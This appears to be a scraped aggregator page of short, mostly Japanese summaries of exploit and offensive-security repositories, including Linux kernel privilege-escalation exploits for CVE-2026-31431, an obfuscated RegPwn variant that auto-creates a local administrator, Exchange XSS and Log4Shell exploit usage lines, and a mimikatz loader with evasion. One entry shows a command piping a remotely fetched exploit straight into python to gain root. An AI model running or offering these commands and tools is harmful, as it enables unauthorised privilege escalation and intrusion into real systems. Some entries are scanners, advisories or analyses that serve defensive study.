CVE-2026-31431-exp

https://github.com/theori-io/copy-fail-CVE-2026-31431 を基に改作したものです。 ペイロードの暗号化・難読化、キャッシュ書き戻しによるシステム安定性の向上、適応型チャンク、依存関係ゼロ、マルチアーキテクチャ対応（x86、arm、i386 など）などの機能を追加しました。 理論上、カーネル 2.6.38 - 6.18 の間で利用可能です。 syscache、tinybin（より小さいサイズ）は C 言語版です sys-events-proc は Rust 版です...

CVE-2026-24291

CVE-2026-24291 RegPwn（https://www.mdsec.co.uk/2026/03/rip-regpwn/）の難読化バージョン 追加機能として、生成された認証情報を使用してローカル管理者を自動的に作成します。 必要に応じて、管理者としてコード実行を行うペイロードに再コンパイルできます。 手順 - RegPwn プロジェクトをコンパイルする - Debug フォルダに payload.exe ファイルを配置する - .exe を実行するだけで起動：Regpwn.exe（フラグなし）...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 root@kitploit: oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d...

CVE-2026-34621_PDF_SAMPLE

多段階Adobe Acrobat PDF JavaScriptサンプルの技術分析 概要 このリポジトリは、段階的なAdobe Acrobat JavaScriptを埋め込んだ悪意のあるPDFサンプルに関する、コード中心のリバースエンジニアリング解説を公開しています。...

CVE-2021-41349

Microsoft Exchange Exploit CVE-2021-41349 悪用対象: CVE-2021-41349 この悪用ツールは、対象のExchangeサーバーにXSSペイロードをPOSTするためのフォームを作成します。 実行したい内容を含むjsファイルを作成する必要があります。 使用方法 1. jsペイロードを作成し、どこかにアップロードします。 2. 以下の手順に従ってCVE-2021-41349.pyを実行します。 root@kitploit: python3 CVE-2021-41349.py "https://mail.target.com"...

CVE-2026-31431

copyfun CVE 2026-31431 の簡単なエクスプロイトデモ copyfun は、指定されたターゲットファイルのキャッシュを、提供されたペイロードバイトで汚染します。...

CVE-2025-55182-Auto-Scanner

CVE-2025-55182 Scanner は、脆弱な Next.js Server Action エンドポイントを検出するための高性能ツールです。 マルチスレッドスキャン、信頼度ベースの検出、複数のレスポンス指標を使用して、潜在的なリモートコード実行 RCE の脆弱性を識別します。 機能 高速な並行スキャン 信頼度ベースの脆弱性スコアリング WAFバイパスペイロード生成 ヘッダー＆レスポンスパターン解析 リアルタイム進捗追跡 脆弱性対象の自動保存 動作の仕組み スキャナーは以下の手順を実行します： 1. ファイルからターゲットURLを読み込む 2. 特別に作成したペイロードを生成する...

-CTT-NSP-Convergent-Time-Theory---Network-Stack-Projection-CVE-2026-24858-

-CTT-NSP-Convergent-Time-Theory---Network-Stack-Projection-CVE-2026-24858- 3D Navier-Stokes CTT定式化をパケットフロー最適化と防御バイパスに応用することを実証するProof-of-Conceptです。 . CTT-NSP: 収束時間理論 - ネットワークスタック投影 🌀 概要...

modrosnlr5

🧬 modrosnlr5 – LinuxカーネルLPE PoC（CVE-2026-31431） LinuxシステムにおけるCVE-2026-31431 脆弱性の悪用を検証するために設計された概念実証ツール。 このエクスプロイトは、カーネルのAFALGソケットインターフェースを利用してペイロードを注入し、権限のないユーザーセッションからroot 権限を持つシェルを取得します。 ⚖️ 倫理的かつ管理された使用: このコードは、研究、教育、および許可された監査の目的にのみ配布されます。明示的な許可がある環境でのみ実行してください。 ✳️ 主な機能 権限の事前検査:...

NXLoader

NXLoader 순정 Android에서 Fusée Gelée 페이로드를 실행합니다. 여기에서 APK 파일 받기 크게 Fusée Gelée와 ShofEL2에 기반을 두고 있습니다. fusee.bin이 기본 페이로드로 번들되어 있습니다. 참고: 이 소프트웨어는 독점 페이로드를 테스트하거나 지원하지 않습니다. 당신의 기기에서 작동하나요? 모두가 알 수 있게 해주세요! 이 앱은 현재 ALPHA 상태입니다. 이해해 주셔서 감사합니다! 사용 방법: 1. USB를 통해 Switch를 RCM 모드로 연결하세요. 2. 페이로드가 즉시...

CVE-2026-31280-Insecure-Bluetooth-RFCOMM-Leading-to-Device-Crash-in-Parani-M10-Intercom

CVE-2026-31280-Insecure-Bluetooth-RFCOMM-Leading-to-Device-Crash-in-Parani-M10-Intercom Parani M10 IntercomのBluetooth Classic RFCOMMサービスは、安全な認証や適切なアクセス制御を強制せずに公開されています。範囲内に入ると、任意のデバイスが適切なペアリング制限なしに接続を確立し、RFCOMMチャネルに直接アクセスしたり、任意または不正な形式のペイロードを送信したりできます。...

CVE-2023-48022

CVE-2023-48022 Bishop Foxの研究成果を改変したCVE-2023-48022エクスプロイト 使用方法 jobs.py内でIPアドレスとポートを設定する malicious.py内でペイロードを設定する $ pip install ray $ python3 jobs.py...

Dropper-GCleaner-C2-Infrastructure-Kernel-Driver-PowerShell-Conhost-Payload-Analysis

1. C2インフラストラクチャ – 耐障害性と冗長性を備えたサーバー Process Hackerのメモリ解析により、Dropper GCleanerがC2通信に使用するドメインの包括的なリストが明らかになりました。これらのドメインはさまざまなプラットフォーム（Scaleway、Render、Replitなど）でホストされており、堅牢で冗長性のあるインフラストラクチャを示しています。 主な観察結果: ホスティングプロバイダー: Scaleway scw.cloud、Render onrender.com、Replit repl.co など。 ドメイン:...

CVE-2026-93785 cifs: validate idmap key payload length

In the Linux kernel, the following vulnerability has been resolved: cifs: validate idmap key payload length The cifs.idmap key type stores its payload length in key-datalen, which is limited to U16MAX. Accepting a larger key payload truncates the recorded length and can make later users interpret...

MaldevAcademyLdr.2

MaldevAcademyLdr.2: 複数の回避技術を用いたRunPE実装 クイックリンク Maldev Academy ホーム Maldev Academy シラバス Maldev Academy 料金 !NOTE このリポジトリは他のバイナリの実行にも使用できますが、主な焦点 は mimikatz.exe 実行ファイルを実行することにあります。 これはデモンストレーションとテストを目的としたもので、mimikatz.exe はよく知られた侵害後ツールだからです。 最も注目すべき機能 ステガノグラフィー： 離散ウェーブレット変換 DWT を 量子化インデックス変調 QIM および...

CVE-2026-67595

CVE-2026-67595 — VaahCMSに埋め込まれた悪意あるJavaScript CVE-2026-67595 に関するセキュリティアドバイザリ: VaahCMSの公式リリースに同梱された難読化JavaScriptのスパイウェアペイロードサプライチェーン/埋め込み型悪意コードの問題。Ilhomjon Rustamov氏によって独自に発見・報告されました。 概要...

log4j-payload-generator

0x01 紹介 log4j-payload-generatorは woodpeckerフレームワーク がlog4 jndiインジェクション脆弱性のpayloadを生成するプラグインです。現在、以下の5種類のpayloadをワンクリックで生成できます。 1. 元のpayload 2. upper|lower:xタイプのランダム混合payload 3. upper|lower:xタイプの完全難読化payload 4. ::-nタイプのランダム難読化payload 5. ::-nタイプの完全難読化payload 0x02 参考...

ufuzz

UFuzz（Universal Plug and Fuzz）は、自動UPnPファジングツールです。ネットワーク上のすべてのUPnPエンドポイントを列挙し、利用可能なサービスを見つけてファジングします。また、Burpプロキシログを使用してHTTPをファジングする機能もあります。...

L4sh

Log4Shell RCE エクスプロイト 完全に独立したエクスプロイトであり、サードパーティ製バイナリは一切不要です。 このエクスプロイトは、X-Forwarding , Server-IP , User-Agent など、ログに記録される可能性のあるすべてのHTTPヘッダーにペイロードを散布します。 使用方法 root@kitploit: python main.py -i lhost -u http://target:targetport -c "commandtoexecute" -p lhttpport -l lldapport 必要条件 java-8-openjdk pip...

phpggc

PHPGGC: PHP 汎用ガジェットチェーン PHPGGC は、unserialize ペイロードのライブラリであり、コマンドラインまたはプログラムからそれらを生成するためのツールです 。 ソースコードを持っていないウェブサイトで unserialize に遭遇した場合や、単にエクスプロイトを構築しようとしている場合、このツールを使用すると、ガジェットを見つけて組み合わせるという面倒な手順を踏むことなくペイロードを生成できます。これは frohoff の ysoserial の PHP 版に相当するものと考えることができます。 現在、このツールは...